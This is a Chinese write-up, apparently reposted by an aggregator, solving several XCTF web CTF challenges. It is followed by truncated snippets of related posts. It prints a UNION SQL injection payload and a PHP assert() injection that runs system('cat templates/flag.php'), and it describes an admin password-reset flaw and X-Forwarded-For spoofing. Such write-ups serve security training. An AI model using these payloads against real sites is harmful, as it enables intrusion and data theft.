攻防世界(XCTF)WEB(进阶区)write up(二)

国庆就要莫得了   起床刷几道

NewsCenter

mfw

Training-WWW-Robots

NaNNaNNaNNaN-Batman

bug

NewsCenter

search传参那里发现有注入 注入出flag即可 没太大转弯

‘ and 0 union select 1,2,fl4g from secret_table #

mfw

发现git泄露 下载下来看源码

index.php中关键源码:

<?php

if (isset($_GET[‘page‘])) {
    $page = $_GET[‘page‘];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard ‘..‘ is dangerous!
assert("strpos(‘$file‘, ‘..‘) === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists(‘$file‘)") or die("That file doesn‘t exist!");

?>

assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;

$file =templates/ abc‘) or system("cat templates/flag.php");// ".php"

assert("strpos(‘templates/ abc‘) or system("cat templates/flag.php");// ".php"‘, ‘..‘) === false") or die("Detected hacking attempt!");

strpos中传入了abc,所以其肯定返回false,在利用or让其执行system函数,再用" // "将后面的语句注释掉

注意这里之所以能像注入攻击一样执行system函数是因为外面有代码执行函数assert

Training-WWW-Robots

这题莫得意思 看到robots就可以看到flag文件了

NaNNaNNaNNaN-Batman

下载下来个文件,打开发现是一段javascript脚本

eval(_)改为console.log(_) 控制台输入调试下

function $()
{
    var e=document.getElementById("c").value;
    if(e.length==16)
        if(e.match(/^be0f23/)!=null)
            if(e.match(/233ac/)!=null)
                if(e.match(/e98aa$/)!=null)
                    if(e.match(/c7be9/)!=null){
                        var t=["fl","s_a","i","e}"];
                        var n=["a","_h0l","n"];
                        var r=["g{","e","_0"];
                        var i=["it‘","_","n"];
                        var s=[t,n,r,i];
                        for(var o=0;o<13;++o)
                        {
                            var a=document.write(s[o%4][0]);s[o%4].splice(0,1)
                        }
                    }
}
document.write(‘<input id="c"><button οnclick=$()>Ok</button>‘);
delete _

这里如果你要正常满足条件输入 然后打印flag

  • 输入的字符串长度必须为16个字符
  • 字符串的开头必须要匹配be0f23
  • 字符串的结尾必须要匹配e98aa
  • 字符串中要能匹配到233acc7be9

be0f233ac7be98aa

你直接打印也行

bug

这题有点多 但是不难

打开是个登录

注册号账号后查看是否登陆进去没能找到漏洞
打开修改密码界面,尝试是否有逻辑漏洞

将admin账号的密码成功修改为qing

点击后显示ip不匹配  伪造ip头发现xff可以

源码看到注释

<!-- index.php?module=filemanage&do=???-->

这里就需要fuzz了    看到filemanage大概也知道是upload upfile之类的

上传fuzz下

原文地址:https://www.cnblogs.com/-qing-/p/11629896.html

时间: 2024-07-31 16:51:02

攻防世界(XCTF)WEB(进阶区)write up(二)的相关文章

攻防世界(XCTF)WEB(进阶区)write up(三)

挑着做一些好玩的ctf题 FlatScience web2 unserialize3upload1wtf.sh-150ics-04web i-got-id-200 FlatScience 扫出来的login.php 查看源码,发现参数debug,传参?debug=1,得到如下代码: <?php if(isset($_POST['usr']) && isset($_POST['pw'])){ $user = $_POST['usr']; $pass = $_POST['pw']; $d

攻防世界(XCTF)WEB(进阶区)write up(一)

  cat ics-05 ics-06 lottery Cat XCTF 4th-WHCTF-2017 输入域名  输入普通域名无果  输入127.0.0.1返回了ping码的结果 有可能是命令执行 尝试fuzz命令执行  特殊符号 看了wp涨了点姿势 %80之后的url编码)就可以返回Django报错   %80后的字符结合报错信息UnicodeEncodeError可以推断是由于ascii编码不支持导致的报错,根据报错信息可以得到的信息 里面可以得到项目路径opt/api/ setting.

攻防世界 web进阶区 ics-06

进入题目的界面,一通乱点点出了唯一一个可以进入的界面. 观察url http://111.198.29.45:41597/index.php?page=index 觉得page变量有问题,既然他可以为index(即文件名,那可不可以显示文件源码呢?) 于是构造payload http://111.198.29.45:41597/index.php?page=php://filter/read=convert.base64-encode/resource=index.php 果然爆出了源码.放到解

攻防世界 web 进阶区 刷题记录

1.Training-WWW-Robots 题目提示了robots协议,直接访问robots.txt 继续访问fl0g.php 原文地址:https://www.cnblogs.com/wrnan/p/12228467.html

攻防世界web进阶区(1)

1.题目地址:http://111.198.29.45:43589 页面提示打开robots文件,则: 页面有提示输入fl0g.php,那么 获取flag. 2.题目地址:http://111.198.29.45:58979 题目中提示初始文件,那么可以从index.php入手.然而将1.php换成index.php再访问后,发现优惠重新调回1.php.这时候便可通过抓包处理. 如图,将红线处的1.php换为index.php即可获得flag. 原文地址:https://www.cnblogs.

攻防世界web进阶区(2)--记一次sql注入

题目地址:http://111.198.29.45:56094 这是一道sql注入题. 试试1' order by 3#,发现页面显示正常,将3换为4时,页面报错,则说明含有3个字段. 接下来判断输出点,即输入1' union select 1,2,3#,发现2与3的位置是输出点. 爆数据库名: 1' union select 1,database(),3# 1' union select 1,2,table_name from information_schema.tables where t

攻防世界 reverse 新手练习区

1.re1 DUTCTF IDA shift+F12 查看字符串 DUTCTF{We1c0met0DUTCTF} 2.game ZSCTF zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t} 3.Hello, CTF  Pediy CTF 2018 CrackMeJustForFun 将16进制字符串转ascii字符串得到flag 4.open-source HackYou CTF 参数 51966 25 h4cky0u flag为:

攻防世界(XCTF)逆向部分write up(一)

晚上做几个简单的ctf逆向睡的更好 logmein elf文件 ida看看main函数伪代码 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { size_t v3; // rsi int i; // [rsp+3Ch] [rbp-54h] char s[36]; // [rsp+40h] [rbp-50h] int v6; // [rsp+64h] [rbp-2Ch] __int64 v7; // [rsp+6

CTF--web 攻防世界web题 robots backup

攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5063 百度 robots协议 robots.txt文件是一个文本文件,使用任何一个常见的文本编辑器,比如Windows系统自带的Notepad,就可以创建和编辑它[1]  .robots.txt是一个协议,而不是一个命令.robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.robots.txt文件